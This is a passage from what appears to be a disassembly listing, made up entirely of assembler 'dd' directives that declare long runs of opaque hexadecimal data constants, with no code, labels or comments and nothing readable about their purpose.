8FA7006Bh, 47ACE1D0h, 2500A834h dd 151B6D46h, 777804F9h, 6E86006Ch, 0CBC4224Ch, 111F48B0h dd 46003D30h, 7A4D76B5h, 103C6273h, 497338Eh, 382311E1h dd 0B2961080h, 4F7428BBh, 86021507h, 90C0F54Ch, 0F10AA8Dh dd 0F224524Bh, 29810346h, 50E144h, 0D5FBDACEh, 85FD4A41h dd 16B9A800h, 6C838421h, 171B0B67h, 0DB008835h, 0B9FE099Ch dd 2920F300h, 77C7CE69h, 579D00DCh, 5805389h, 0F298DDA3h dd 6ADAFE00h, 2054E0D2h, 0ABB20964h, 0CA007929h, 4F1BA814h dd 34263F01h, 0B7EAEEAEh, 0F3E1F0h, 0A7E99886h, 189D6BFBh dd 0CAE40800h, 0A59BBC80h, 1D010191h, 0B6DF12E2h, 8D3D20EFh dd 0FA78627Bh, 0F80EE809h, 0CDE600D5h, 0CAD2Bh, 0F78C856Ch dd 694E266h, 7A00D27Ah, 0D1EB1EA5h, 0DDB1FCh, 0F7693C16h dd 0C2193457h, 0B7F93A00h, 4215B4F5h, 0CCECA02Dh, 0DA0F03FCh dd 0E163B613h, 0EEFAFF98h, 0DF92C700h, 0EF9F95A8h, 887000F9h dd 1B648E37h, 8338B7F6h, 6C6C335Bh, 0B980A4F1h, 0E534C59h dd 1CA0479Ah, 0F39028E0h, 0DD0312AFh, 6E8E6706h, 0F1B0FFC4h dd 35F5D05h, 0BACD547Bh, 60C87D26h, 7300AD04h, 0DD528921h dd 3CF7E680h, 6D000944h, 0A1A09F30h, 2D00F963h, 1DB5535Bh dd 19737Fh, 6C122395h, 0E7C7FCF8h, 3A777403h, 1628F45Dh dd 0F922E9h, 0F8A25B8Dh, 0C800CB97h, 31F204AAh, 5E85DDh dd 0B5DB903Eh, 4D355567h, 0E9951E00h, 0BC598E04h, 8FDA0062h dd 82A927E8h, 990E1831h, 14AC4966h, 0D7FA7A9Fh, 0D033D31Dh dd 28C6803Bh, 0E360243Ah, 5EE03E7h, 6F34287h, 0DCB18F98h dd 5771DF05h, 81C7B3E0h, 0A47025A1h, 1124AF4h, 11DFDD4Dh dd 0E0380D51h, 36009433h, 2AE67A2Dh, 1EF9750h, 5CB47201h dd 0D4DD7F3Dh, 0A6000918h, 43A58E41h, 0D13003h, 80EDB2EFh dd 0B1902BFDh, 6BE73F00h, 0F5CA87F7h, 0BBDE0021h, 348E1CA6h dd 7E00C9E3h, 93F4A25Dh, 0FAB2C8D7h, 0AB940377h, 96056F1Fh dd 0C4610DE8h, 41760300h, 3D6D9D1Dh, 0DCFF00ABh, 0BA6B152h dd 0DB0075EEh, 8F4BC1E3h, 30240FDh, 5329E6D4h, 1890E5C6h dd 5AF47E86h, 0A7E49800h, 3290D7DEh, 3C3B488Ah, 37C12Ch dd 9430F99Ah, 690F6F6Eh, 207438D2h, 98DD27E5h, 85DF5055h dd 1B4500AAh, 0DB0702A9h, 0BC269A3Ah, 3D002034h, 4ADFE9B4h dd 25731F3Fh, 8A4C40C9h, 22C4AB55h, 496FEE01h, 0B1978806h dd 0EB4260h, 0E0BF79BAh, 0E49D5076h, 0AC00E090h, 0CD7EC827h dd 0ADDDE7h, 32E2F74Eh, 0BCA3B3DFh, 4905EB76h, 0FC069E7Fh dd 833C004h, 81340881h, 0ED7DCF8h, 73A63A59h, 801819E4h dd 4C026AB0h, 5684900h, 7535F882h, 0C5B10008h, 1577393h dd 0F31C6D76h, 8D42C23Bh, 68521B7Ah, 0EC5D94h, 6A3E6EEAh dd 0AD389AA9h, 0CBA1FE00h, 0C969DC0Eh, 2223002Ch, 82340C46h dd 7F3B4A0Ah, 1E2986Fh, 9E91F0h, 0FAEB6040h, 9CDD0508h dd 0A2C0617Bh, 26AF2B49h, 0CE4F003Ah, 993B9B55h, 1D0080F2h dd 426224D5h, 9B2DD5Ch, 0A9E5815Eh, 0B1F65D01h, 20FFE59Fh dd 0CA00ACD1h, 4B82B215h, 6DABB3h, 711C9B92h, 7A1701FAh dd 58DACD00h, 54D2D981h, 738D0056h, 0D8C3B490h, 0C801A895h dd 0FBDECA9Fh, 97606CA7h, 78BD7E81h, 94F4E0h, 906F5EAFh dd 1747B909h, 80DF403Dh, 4C0D3FEDh, 363FCDDh, 1141C19Fh dd 0C38862F8h, 720BE992h, 1F7D69h, 0C57AC94h, 0CF6D0099h dd 2E93BF76h, 0D214534Fh, 0E41837h, 913E4534h, 1D8D15BDh dd 80ACAE87h, 66009CBh, 0F0EF0A0h, 404FF855h, 0E2AE42D2h dd 841009BDh, 55802A1Dh, 0FC29E3CBh, 15140C1Dh, 0FDB8F4Bh dd 0DF73EE24h, 98990EE0h, 0F32ECCA5h, 3AD4CEA0h, 0F10059FEh dd 0FD48FC81h, 1E89A79h, 514797EBh, 20622ED3h, 9B00938Ah dd 0ED425039h, 2E0A7E9Ch, 1DCFDh, 88026C79h, 0FC0033D7h dd 0F8B107C2h, 0E79B99h, 8A8EEF9h, 48CD5C34h, 0C90ED200h dd 25187F62h, 59B303C3h, 0F884CF70h, 0FD10FCA8h, 7B344E03h dd 0B0BA40E4h, 7CE0DFh, 0BEEB4CF5h, 229A0113h, 23495B02h dd 4051CA32h, 0F27554h, 39BB5D12h, 0EEE2DDD2h, 76338309h dd 3EF4001Ch, 0F73CD86h, 6AA40196h, 8AFE6200h, 809876B0h dd 0E2053906h, 71133AEh, 50554365h, 0C504D096h, 9F07BFC4h dd 3ECE7F30h, 0A3160230h, 0F67595h, 13C3E9ECh, 0D2CC513Fh dd 0C401D90Eh, 199467FDh, 0C01F175Eh, 804FE349h, 0BD9C1360h dd 0E416005Fh, 1EDAD814h, 4F4512Eh, 3E023A00h, 4379F7F1h dd 0FAAD047Eh, 90217D6Ch, 87C347C8h, 74E8F11Dh, 86BACA80h dd 0D37D70h, 7BDD91DEh, 469BC51Ah, 0AEFD9200h, 6B552B65h dd 0EC624CA2h, 9A3B7F00h, 4E762AD2h, 0DA6A1502h, 6873FE0Ah dd 6C33E8h, 71A0E6E3h, 3088F12Ah, 0AEDA5D02h, 816A9945h dd 2A0DB644h, 0EAABA474h, 0B0C90281h, 8AF5807Ah, 1AB184C8h dd 0CB0064F8h, 0C8E91F71h, 926F16h, 8BB772F8h, 13ECF5CDh dd 356BAA07h, 804FAB5Eh, 63BB3673h, 5AC60029h, 1255D420h dd 4A2550B4h, 0EF080072h, 80298EC3h, 20C02DD4h, 8FCF55E0h dd 0B91E00DFh, 84996F78h, 2E006823h, 45223DE7h, 2EC6012h dd 58B971F5h, 6CB0DD4Ah, 3500E5A0h, 5D3128F1h, 797718h dd 0C0D48C01h, 6514D296h, 8DA1A600h, 42B746AAh, 49AC000Dh dd 4E0B6AD1h, 91001362h, 0C4BE343Bh, 3805E5C2h, 0CF00326Eh dd 6DAC38D1h, 1800E01Fh, 82248BFBh, 3456010h, 8967FE08h dd 86E81A51h, 4F2E0AA4h, 54008533h, 0B4C09D40h, 258B0FFh dd 51DE7428h, 5C801649h dd 0E606C393h, 5518AE14h, 81033B0h, 76210084h, 201F06C2h dd 3601D84Ah, 3054EFBEh, 44C8AA9Eh, 3F76012Dh, 0F8D7AF74h dd 0AC19843Bh, 37006E85h, 997088D8h, 0F20FEAF8h, 843ECFCBh dd 1C80C9A4h, 3B4D4D3h, 33CE31F7h, 792D321Bh, 1AA54064h dd 0C0073F40h, 0B2EDEF00h, 0CE7952C7h, 3F0FB806h, 6313B35h dd 0AAA4EE33h, 890C4811h, 2038B30Ah, 0E341128Fh, 0CD542034h dd 0DC016A60h, 21176DD4h, 89875ECh, 482C211Ah, 600EAFAh dd 623C08EFh, 0C02516E7h, 0A0E57C69h, 0D5022938h, 9BAA89AFh dd 0E3EC004Ah, 97024705h, 0B708927Dh, 28408CDCh, 0EE50402Fh dd 370070B0h, 8CA75859h, 3892682Ah, 253F297Dh, 0CCEA2300h dd 642E3DEDh, 8AD1630h, 338D4Fh, 448643BEh, 0D4922C3Ah dd 0A69FC603h, 0C0F86A98h, 1D4F1AD9h, 163EAB8h, 97D06558h dd 4E1A3068h, 0C9302EF8h, 8664085Eh, 690F011Bh, 48A5E353h dd 5A0F33Ch, 0CB01DBFFh, 676483B3h, 31BD31C6h, 0B91CE207h dd 0D4FA90F6h, 16065A37h, 44D1F25Eh, 0EC581BA0h, 3A006907h dd 9E59B282h, 0CD8987h, 0B0DA0474h, 1101D74Dh, 6A23A3Ch dd 7528FEEh, 0C0E298B0h, 7DB0B848h, 963E04B3h, 0CF690C7Eh dd 602E1861h, 0E4CE6050h, 0C103899Ah, 77CD58AEh, 571900DEh dd 0A745877Bh, 2F195375h, 4DF93264h, 605F4A11h, 9F2A4D2h dd 76334BF0h, 0E5696061h, 879340Ch, 0A768A0EFh, 0FFD6002Fh dd 956DC6C3h, 55006504h, 1492EE51h, 31B1E8F5h, 58407323h dd 0B739603Ah, 0F94870C0h, 625C09Fh, 0AFA1D116h, 0E0F89852h dd 0B8039CABh, 0DB7A31EEh, 45700CC4h, 3BB1480Dh, 8042C1C8h dd 388FE7E0h, 10CC1341h, 88502127h, 1401BA07h, 0E8ABD50Ah dd 11600357h, 3CF0C6E5h, 0EF30606Ah, 0CC9CD96Eh, 0F41C3B5Bh dd 0B97AF301h, 0EDCE6270h, 8051BF35h, 85FD402Fh, 2514FAh dd 9413D22Dh, 7809CE7Ah, 1F75BD06h, 3149CCh, 9540B739h dd 0D96636A5h, 50830518h, 1D0833E9h, 83CFC365h, 0E89C7D7Ch dd 55A99C00h, 1622B429h, 0C52EF04Bh, 31DE1C31h, 80EF36F8h dd 0D3C32EC1h, 14252766h, 0BC67178Dh, 4077A787h, 52AE34A3h dd 64A0EFF0h, 4052E148h, 59C131B8h, 21815FCCh, 1724D518h dd 7D02FC25h, 6CA8D3A0h, 2B36B909h, 0C0100259h, 15DE2164h dd 96A99F7Fh, 0EB790B80h, 6AF35EDh, 21A90F4h, 8762999Bh dd 22283381h, 648118EFh, 87261715h, 0BFBECE11h, 48223C70h dd 8D58A0E9h, 0B7AD24C0h, 800DC5E0h, 8CBB584Ah, 36B6D800h dd 397BD346h, 38A1094Dh, 8803D22Bh, 0A914F6C2h, 3C60B269h dd 0F4F101C4h, 67D07352h, 9845B450h, 0AF61C03Bh, 37FE2127h dd 18D03609h, 86A82E48h, 0D495632h, 0B7B38545h, 266C5031h dd 6C28D669h, 3852344Eh, 698844E8h, 10A0BB72h, 2B04C9A8h dd 0F0E4AF8Bh, 45858088h, 0B568F04Ch, 68C29374h, 0E05825C4h dd 9B59AAh, 85C957E7h, 0CC8DBA10h, 4FAEC8C2h, 0A43080F7h dd 19A6BB9h, 0B516DD09h, 92A66CA5h, 4C209B89h, 3927BAh dd 0D67756B0h, 67363143h, 0C723C901h, 722CC46Dh, 804050A9h dd 0CC123451h, 0D96063BDh, 0C09C32A9h, 848112CEh, 0D2E020C7h dd 25014744h, 0D358634Dh, 3180B3A8h, 4E08E8CAh, 0FF019153h dd 75213085h, 48FE6DBBh, 78DE9468h, 0FE650FADh, 0D4B43928h dd 4449E984h, 24C9E548h, 7432D3F1h, 8CFF1064h, 3F0BF2E4h dd 800E6BD9h, 39674B7Bh, 0AB6C00F8h, 8969A64Fh, 78CC6E49h dd 847B59B4h, 0AD0FF4Ch, 801CA969h, 62CB5786h, 439B3069h dd 87AF729h, 10BA671Dh, 0C82258C0h, 80BCDB2Bh, 6140CC69h dd 167C242Eh, 884640A0h, 20782F7h, 0DE52B8Fh, 759ADC1h dd 0D1159450h, 0B9C4297Eh, 134511DCh, 590046C0h, 7B3A5B28h dd 41CC07D8h, 0DAF3106Bh, 2F4F0854h, 26508B19h, 0ACC7198Dh dd 442808C0h, 0ABED9600h, 0AC7A2DB0h, 0C84B007Bh, 5538CC5Dh dd 0CB12F4Eh, 7E036B11h, 0DC7A162Ch, 0C94312D0h, 99B83654h dd 13F043Ch, 8D185FFDh, 0D83365FCh, 49F68064h, 0CC808358h dd 2E17836h, 76D7EDC6h, 0E090C91Fh, 730E08B3h, 0C040853Ch dd 0F037E7ADh, 0DDD7012Ch, 0D467710Bh, 634C301Bh, 0F26688h dd 0D8749847h, 0D4A741F6h, 0EC503B01h, 0AE9F9B43h, 80FB1601h dd 782FC231h, 16D18934h, 3649BEB0h, 0F8C8FEA0h, 9A0E8075h dd 1AFD161Ch, 0F4B1B300h, 0E2326E0Bh, 556400C7h, 7582CE6h dd 59241E13h, 6965C1Dh, 8057F448h, 0FBA4A7EBh, 137EF525h dd 0F71E9F2Eh, 78298300h, 99642231h, 47E088A0h, 248549B4h dd 4B552820h, 1CE891FDh, 0D1A930EFh, 890048CBh, 3CC6CE9Ch dd 6F8E11ACh, 4A4F2954h, 0B0253A81h, 9009C866h, 4C64A94Ch dd 804AC8BCh, 0F195FC92h, 56000985h, 65BA1410h, 0D20E37F8h dd 0BB540230h, 0D8CE4E53h, 9C1E4DFEh, 4586A130h, 51941E4h dd 858437Dh, 693805B3h, 4540DCC4h, 3146EE32h, 2184416h dd 77A5CD0h, 69026E8Dh, 9EF0E5C3h, 7D090006h, 52F9AB91h dd 21B6E100h, 0C432C92Dh, 0EA6926ECh, 37564520h, 0C2F2E588h dd 0A0C09AA0h, 378B3498h, 8A29CFE0h, 0C38F029Ch, 0CC60A888h dd 0B3662457h, 0F31B0A1h, 5F5CC715h, 51D0D95Eh, 1624CEEBh dd 7C20C8h, 6FFD4C1Eh, 0AF0CC483h, 8D006AE8h, 76CA0F2Fh dd 0A87E8AB3h, 60DE42Ch, 0C37AEC4h, 0FD591088h, 84EF291Ch dd 0E499C00h, 78D1705h, 216524F7h, 0DD6374ACh, 0A9F00C04h dd 9A751900h, 0E1B19B60h, 6B1A05B9h, 30174A27h, 0EAA9F658h dd 19442A14h, 3EB24CDCh, 0DBC08104h, 87A116ACh, 0AE69B086h dd 571D916Fh, 6824ABB0h, 9CCC3264h, 88070EBDh, 0E4C3581Ah dd 4888C38h, 9A0099E2h, 5967F8C0h, 38C63447h, 0A9812783h dd 0C7C8203Fh, 2998C8F9h, 569DCA0Eh, 0C9C0632Eh, 18086CA8h dd 9F81A708h, 0AF46298Ch, 20809019h, 314460BFh, 2443C2F9h dd 279C4100h, 99AEBE91h, 42B008Bh, 0C2F16590h, 1E00B95Fh dd 0EAAF213Bh, 3198C13Dh, 0D17896F5h, 1891BEB5h, 86B810F3h dd 536618AAh, 3A9491A9h, 5055BF00h, 9AD1225Eh, 0C1B8C55Ch dd 0C94400D6h, 3AE9F1D7h, 760386Fh, 0B4B0A646h, 33C82188h dd 5069E3CEh, 271E59B6h, 100E958h, 0BB06F05Eh, 5A690CCCh dd 0CB289722h, 8BC1AC89h, 7AEED6C0h, 117D00B9h, 2C6FA6Fh dd 14DFA3D7h, 0B1796468h, 0FCC51D03h, 0E68C408Fh, 334418A0h dd 0BBAB51C3h, 0C2B94F60h, 5A4D22h, 4A5F7859h, 9AF68474h dd 2083D131h, 5983FAEEh, 0DA896EB4h, 96633FC8h, 8D9D1D00h dd 9C3387ECh, 0AFA80082h, 3E385D0Eh, 215456Fh, 11D8F20Ah dd 0AD004EBAh, 461723CCh, 0A14B5DBh, 4499CA54h, 84A118F0h dd 0C3804727h, 1918C72Ah, 0CC4151BBh, 0C4E8012Ch, 0FF24318Fh dd 48DDF328h, 80BFC7ACh, 7F69DC72h, 0A2D7374h, 0A0036BB6h dd 0FC011494h, 0EBB3F801h, 5229F39Fh, 0EE2257E4h, 152480A2h dd 1C0E1891h, 492B7BBh, 92E56E3Dh, 1481C21Ch, 42DF47CAh dd 0B6214554h, 5AE883FEh, 2E780241h, 8F6F9005h, 0D6188A0h dd 407DC106h, 545031D4h, 0F500451Ch, 21B53214h, 24EA1612h dd 30F3F9h, 344E8047h, 3B60DAC2h, 441B9B39h, 3C304803h dd 0C1AA5086h, 4B0C2700h, 204A49Bh, 0F218E881h, 883092CFh dd 0DD8614h, 2E44BB02h, 0AECA776Ah, 0C438D8C4h, 431CE854h dd 8BC64017h, 0D559BD2Dh, 2580D4A9h, 0A0A1EF80h, 3699802Bh dd 0DDFC3CADh, 0E2462D67h dd 89005E2h, 0F499E17h, 5614800Ch, 3644B66h, 111BE8E1h dd 6019203Dh, 0A8D9C7CCh, 8349B010h, 16CA3C00h, 0A5C890B8h dd 4C4600B4h, 859536ABh, 0A8A262D9h, 7363F812h, 2F35691Eh dd 14EACD40h, 39FAB2D0h, 0F101F21Eh, 22CBDDD9h, 46D19F48h dd 0B3134CE6h, 28201023h, 0CCC6C1C1h, 4461EA51h, 3A6C88h dd 56829B3Eh, 0D457406Ah, 3DD5D900h, 0F58EDF0Eh, 44230736h dd 76F4CFE9h, 4BF2A966h, 0BC1ED091h, 10C70026h, 700B1E00h dd 37BF00F8h, 1D4736FCh, 31F46B4Eh, 8894C040h, 0BC00975Ch dd 6C05852Ch, 306DA4DEh, 0AAA13CBAh, 0BB05CDA3h, 9B7AF7E4h dd 8B91F41Ch, 0D0942Ah, 4273B4C8h, 67D54DB5h, 9866FD19h dd 0B31050E8h, 1B39A5DEh, 5D3A9F41h, 0C825CC83h, 0A42872C6h dd 14443ADCh, 0DFC0045h, 0F77D22AAh, 0A61A603Fh, 5545C804h dd 0B6CA8020h, 9EF90670h, 0E123868Fh, 0E2F0CF44h, 0E6E10E55h dd 8C40DDCCh, 468E21C4h, 181CDA59h, 1AD1DE8Fh, 27FF01C8h dd 0DA32D130h, 5247C8EBh, 3CD3902Ch, 59A7BD8Ch, 81D26050h dd 5814BB8h, 0AA74E907h, 0B133C47h, 6360D01Eh, 97072A13h dd 88357570h, 49141C1h, 830343Eh, 0A05064CCh, 1F4DAF08h dd 10E2F32h, 4BB6462Ah, 0A72420A3h, 417AE4A6h, 5AC80A2Ch dd 4D83FF03h, 0C54922D1h, 401272EAh, 0AC21B512h, 0C04DC4C8h dd 26EE2020h, 9974B807h, 10CD41ABh, 0CE6233h, 0EAD69AF7h dd 0A9168F03h, 836FB675h, 0E1F1C651h, 23BB1C91h, 7990C3E9h dd 0E97CCFC8h, 0C5883810h, 0EAE20078h, 996CAE04h, 504E3CFh dd 0A627D3EDh, 59CA6C8Ch, 19D9E83Bh, 64CCE285h, 63800F00h dd 0BF9340FAh, 46F244B8h, 0F094DC45h, 501844BDh, 105C19B4h dd 48FF4500h, 726EDD21h, 5562048Eh, 0C8C1F2EDh, 3D28D794h dd 3620D49Fh, 0E0E93E97h, 749374h, 0CA4F821Ah, 9B0485DAh dd 0DD5E8C4Bh, 0BBF308D7h, 0C4290F42h, 0BE806CACh, 0FA1C44B7h dd 0A69BF43Dh, 5A40EC6Ah, 1C9EFDB0h, 0A2ADFA3h, 0BFDC7268h dd 0CDF1F88Ch, 91EA6DF9h, 8F5D3100h, 813F08ECh, 53340033h dd 0E52848DBh, 0A67C4421h, 3D78909Ah, 0E858BF50h, 0A7A0FF00h dd 182CB016h, 55650031h, 20A5D0F0h, 25F0DB58h, 88E83D48h dd 1697833Ch, 0D5812EC6h, 4CD453BDh, 0D0F840ECh, 2C6A1BBBh dd 4220B095h, 0D1009B4Fh, 7924049h, 0E8EF80A4h, 0B9AA5042h dd 402F5D3h, 83A7A597h, 0FCF0B8B5h, 54CB0127h, 4FAE9AEFh dd 1D8331Eh, 0D5A44F8h, 0B462C5C8h, 0F0D15015h, 6D807D3Eh dd 9A85EC31h, 0FD03D7AAh, 57AE9E7Ch, 0FD2309Ch, 0B2BAC9E1h dd 233D41C0h, 5859FB12h, 0DB84FC04h, 0EAC94F32h, 8F92C80Eh dd 64674C90h, 152A00CCh, 0A5403611h, 0E2021023h, 2FCA8CFEh dd 71F02698h, 79449017h, 0A446B434h, 6E515543h, 629214C9h dd 0D620E378h, 1DDFCA95h, 0C3BFAD3Fh, 0B90F88FCh, 74830490h dd 0A0B32D12h, 82547C40h, 6E9AD69h, 0BA2257ABh, 0DF00C94Dh dd 2CE478E1h, 1C209F8Dh, 40565E4Ch, 673C60E2h, 342C9DC3h dd 0B14E643Ah, 0BA22404Ch, 0B02E18C8h, 0C8D0C9C9h, 0C0B4C75Dh dd 9911932Bh, 30E9018Bh, 813E2FB5h, 0CAA8507Bh, 0C60280FCh dd 0FAA14386h, 22ECE4E2h, 2CB0C59Dh, 53B44958h, 0EED054E4h dd 0C5008891h, 4043F21Bh, 1EAE00D7h, 0A7083EC6h, 5F12FEE4h dd 14D10CD0h, 0F9178B2Fh, 0AC84F042h, 995442C6h, 0B28860DFh dd 0E1B30123h, 0E5979E2Ch, 3E3DC80Fh, 938A7800h, 886CA218h dd 8D300B36h, 94905366h, 2800F7B0h, 0BF567368h, 919B9CD9h dd 8D0C002Ch, 62C636D7h, 38205C32h, 0D91523CEh, 4DD3DD0h dd 0D0133A77h, 0B511B768h, 0D08B75A8h, 0F24D54BAh, 2A8D9899h dd 0F88E6Eh, 5376B435h, 319510A9h, 8A8B6407h, 2A404F30h dd 39D0FDA7h, 0DB3CC79Bh, 19AAA803h, 29002608h, 45C1D5A7h dd 18834E6Bh, 18974022h, 0A4002F07h, 0C76115B1h, 3E64DAEAh dd 2C188DC2h, 804F209Ch, 0BF3B4B00h, 7AF45C60h, 0EFA01F5Bh dd 67857D52h, 0C0A470A1h, 0B558BBDh, 0FF8A90C0h, 30BC782Dh dd 9F81B341h, 864B71Fh, 0BB84BB20h, 80B23408h, 4AB63161h dd 7700EBB7h, 62F8807Eh, 180836ECh, 282E5034h, 4E01C16Fh dd 3A0CC9Eh, 609B65B7h, 40B35913h, 2B38D905h, 8043E03Ch dd 7C9E1006h, 6050F669h, 0A06F8148h, 0B9C61D0Dh, 410C40h dd 65AD2881h, 125E9E8h, 5AFDF601h, 2D9961EEh, 0EFD04980h dd 183ED766h, 6F1369C7h, 122E1CCh, 54A2997Dh, 0E0D6A5ECh dd 0FE0C725Ch, 0B950DCBAh, 0A18D3106h, 47B36399h, 858F4790h dd 8C48334Bh, 0E6E0B4C3h, 1E31A62Dh, 0A21341CBh, 4521317h dd 0FD0C900h, 6972BBF0h, 3C20C13Eh, 1008552Bh, 23359Ah dd 6050A054h, 26BF4B2Ah, 0C9CF3F30h, 2368A7h, 0B6E752B7h dd 0C2CD92D0h, 48A5A106h, 1848B98Bh, 510530A0h, 4A336F2Fh dd 0CB8061A3h, 9FFAF826h, 9DD900C9h, 22D8CF32h, 4B3FC5A5h dd 0C0672AD0h, 8349E32h, 3C2CA24Fh, 1B062111h, 4AE18CA8h dd 1A6199h, 93A0C5C4h, 0CCD0ABEAh, 353CE770h, 9AFB0637h dd 0A0A8B460h, 522AA8Ch, 0A0CBE8A4h, 0A8802234h, 0FA40C0A7h dd 0BE4980B0h, 33CD131Ah, 47214A00h, 1014FEC1h, 5B85065Ch dd 0A11E4468h, 30F51122h, 3F419B40h, 0EE00F499h, 57464C65h dd 485FB51Ch, 1B81D031h, 8BF65264h, 80F37539h, 0EAEE595h dd 0E9BC1F07h, 0CC1601DEh, 22CD8DDFh, 536F12C4h, 5A4B9C20h dd 4D9D02DBh, 54EB19CBh, 79816880h, 1F00A0ABh, 8330585Fh dd 1D2AC3BDh, 2A3B1BA5h, 32B244A0h, 0E1F94200h, 13CDF3C0h dd 4E18C9BBh, 1F9E3C01h, 5C80E2E6h, 0FD54C265h, 0E0CC7E88h dd 0E24C007Bh, 1C8530Bh, 140AC227h, 903E73BBh, 70542044h dd 2B0AA422h, 989A402Dh, 5C1D0880h, 0FE2A288h, 2EDF544Dh dd 548440DAh, 0FC005203h, 32BC941Ah, 0B0A87525h, 0C0C2067Dh dd 0A9BF4AADh, 0E477900h, 94B330BBh, 23D40085h, 23FC8A9h dd 2D4998FAh, 0D3DBC020h, 8FA2E8h, 814877E9h, 97AB0C5Ch dd 0D8780700h, 8B41D749h, 0A038C285h, 0F8910F6Eh, 0B8E31009h dd 6C2E1D0Bh, 0AB970D9h, 4A30C8CEh, 6A7169BDh, 0D07837h dd 0E64DE345h, 19B56246h, 8840A948h, 1D1F8091h, 1316D9A3h dd 68373A00h, 0B8BE4D63h, 640490C9h, 0D11C2847h, 11248374h dd 0B0539B2Ch, 0CD49D821h, 897E000Dh, 603DF85Bh, 5E19C318h dd 87127EFh, 0E5E9AB10h, 0D4A8FF74h, 4A883988h, 29C1CFEBh dd 23805A6Bh, 7659B73Ch, 6690F400h, 5D6328B3h, 8F5813C1h dd 9EE448DDh, 0CBB780BCh, 352DD608h, 4ACD463h, 0EEE9A022h dd 486FC446h, 0B25CC8D0h, 286130E9h, 699410E6h, 16C0007Ah dd 1BACC5AEh, 0B9C46087h, 0A04398C4h, 8CA50533h, 2605508h dd 924DC411h, 83500FAEh, 37E14943h, 0A41961DDh, 76608C28h dd 50286EDCh, 12E4E3C4h, 6CB299h, 2DE86F8Ch, 0C2745DA8h dd 0B1953F30h, 3EF76CF8h, 9B892912h, 2802F39h, 4E75B062h dd 0BE420500h, 693188D3h, 6C4D24CDh, 2842484h, 6083DA3Ch dd 0C9A02910h, 14905589h, 7B004B5Eh, 0D2E51CA5h, 12D8CCAh dd 252E1454h, 605DA4F4h, 0DCA982BCh, 0D53A10BCh, 0FC9E0053h dd 17AFACC0h, 0EC9ABF65h, 0B66C813h, 2AF90C01h, 0C9809440h dd 74D60A22h, 0CC00B24Dh, 6636AEAh, 73F74CB8h, 0B8F55418h dd 5AA1448Ch, 84A4A0FEh, 10B7D881h, 5496DBBh, 0C585F184h dd 3A888221h, 0CC0C7484h dd 0C0993DF8h, 0D1FA5B02h, 7771C0DCh, 0F36B00E7h, 0E3AA01A1h dd 9D057D06h, 4F0D783Ch, 56173443h, 5F92E023h, 481661B0h dd 0B2EA0D9Eh, 2023E021h, 978813E2h, 4C713Dh, 29D23889h dd 32A796h, 3AA8DF9Bh, 22B653CEh, 0A0255718h, 125A6FB1h dd 1464154Bh, 0A922746Dh, 3A4C4A00h, 7F1BABB8h, 10401857h dd 0D59529Fh, 0C401389Bh, 0FEEE0709h, 12874E4h, 0AC6A4C76h dd 0D48A69B9h, 0E4A08031h, 0F95CDB2Ah, 15CA226Ch, 0B8A2C506h dd 9CA60E88h, 0C0A600CAh, 0A7AD9AC0h, 2FD6000Ch, 0A89D892Dh dd 889154DFh, 7B008B26h, 0DA2343D4h, 19F7F4EFh, 20740CA5h dd 4A488CBEh, 2FD51B0h, 0F29A60C2h, 24494618h, 4222Dh dd 9280777Dh, 0BA1C31CFh, 42F4920h, 0B1A88418h, 5000196Fh dd 0FDF3DA90h, 925A654Dh, 0AA024ACh, 5944ADCh, 80326EE1h dd 642203D8h, 0AD80949Bh, 35D5F5F3h, 26972E3h, 8CC328F6h dd 0D0A85615h, 0C52F004Ch, 0E97C3B0Bh, 0D000D09Ah, 8CC0C988h dd 0C4209FA7h, 0D02D8B29h, 4C815544h, 70EC4A81h, 1F37009Ah dd 0FE8EC721h, 5503C142h, 0CC13E507h, 0A4CABA33h, 4840B5BCh dd 87EAD86Dh, 9051BB69h, 7E589Ch, 4C4DDCA0h, 0E221167Bh dd 80D3D103h, 22FB749Ch, 0D974E449h, 16E0F800h, 0FA886EB2h dd 86FD3BDEh, 22C40B81h, 5841AB0Fh, 0A4588B4h, 0C18D2420h dd 2DA8BED9h, 0D3E980B3h, 977A4212h, 4720430h, 0D4AA032Bh dd 24801404h, 3481E6C8h, 92189D28h, 4532EC64h, 0FCAC6103h dd 28B13FA5h, 709BB101h, 0F422E7DBh, 49EE2118h, 9558ABBh dd 762FDE50h, 9DE31C60h, 5C731A54h, 70B9418Fh, 98F05263h dd 59243B20h, 0FFDD1311h, 0A084335Fh, 54A70FEAh, 52042922h dd 6BA282C2h, 0B3175082h, 8A408410h, 0C300BCEEh, 5A9F0626h dd 0C097EC96h, 718EA7C9h, 948483B8h, 0C42EA834h, 0A269A0A1h dd 3E678014h, 1F45D39h, 0EC9EAB17h, 2893885Fh, 6C3396ACh dd 3D51B8A0h, 706E4EEh, 9501DA50h, 883B52C0h, 404C0CECh dd 93BB80C4h, 69320Bh, 0FA5A843Fh, 41F97CF4h, 928E2F05h dd 0A448762Eh, 0F578A58Dh, 9A183503h, 42311F19h, 0CB004418h dd 0AB8F3B76h, 9E4AE56h, 8C21AC01h, 30072A40h, 8D3C3093h dd 8096F548h, 6CD51091h, 2927AC22h, 12843FF6h, 85949863h dd 937C741Eh, 482A462Ch, 0E4872A00h, 0B0BA0D0Ch, 3AAA26A0h dd 42AE648Ch, 0A009552Bh, 0B18D51B4h, 50F9000Bh, 392DC55Ch dd 352CBD0Ah, 4A13DC5Ah, 0D74F001h, 0CC60F0D5h, 0B35F193Eh dd 393F71A5h, 0F27C0F8Ch, 60B82F3Dh, 23AAB2D4h, 62AC0E5Fh dd 442CA734h, 9E448889h, 50D22A0h, 23FF89F8h, 1E227874h dd 34A01A9Ch, 0C4591921h, 9CA94600h, 0F602FD98h, 4C4C5D62h dd 14531280h, 9B00A16Eh, 6AA5EDB6h, 3A1C2A35h, 8454F88Dh dd 0B43D48BEh, 75CAE980h, 324EEEBDh, 379584Bh, 0FB42A50h dd 64303F59h, 51C70D80h, 4B1ECED3h, 61896F04h, 30940909h dd 0BD4F0A8h, 0CE6B920Eh, 0A8A0482Ah, 400344B8h, 3C810D60h dd 210D5BEh, 9CD533Ah, 0F849326Bh, 9B6D109Fh, 1046001Ah dd 325148E5h, 64ED789h, 6EA04045h, 30928020h, 32BA19C2h dd 0FFF96145h, 58F5F948h, 9F4EC064h, 88D743h, 17E92EC3h dd 124AD5F0h, 0A1FD3400h, 644EC16Ch, 3CE1CBD1h, 8044429h dd 344C24B2h, 9B86786Fh, 82BCA410h, 259E302Ah, 0A440A892h dd 59B82B65h, 8231176Fh, 92250D84h, 4650C2A8h, 308A423Ch dd 0A067F938h, 4D03843Ch, 92D1FDB6h, 0C217060h, 45283CE3h dd 40B16F51h, 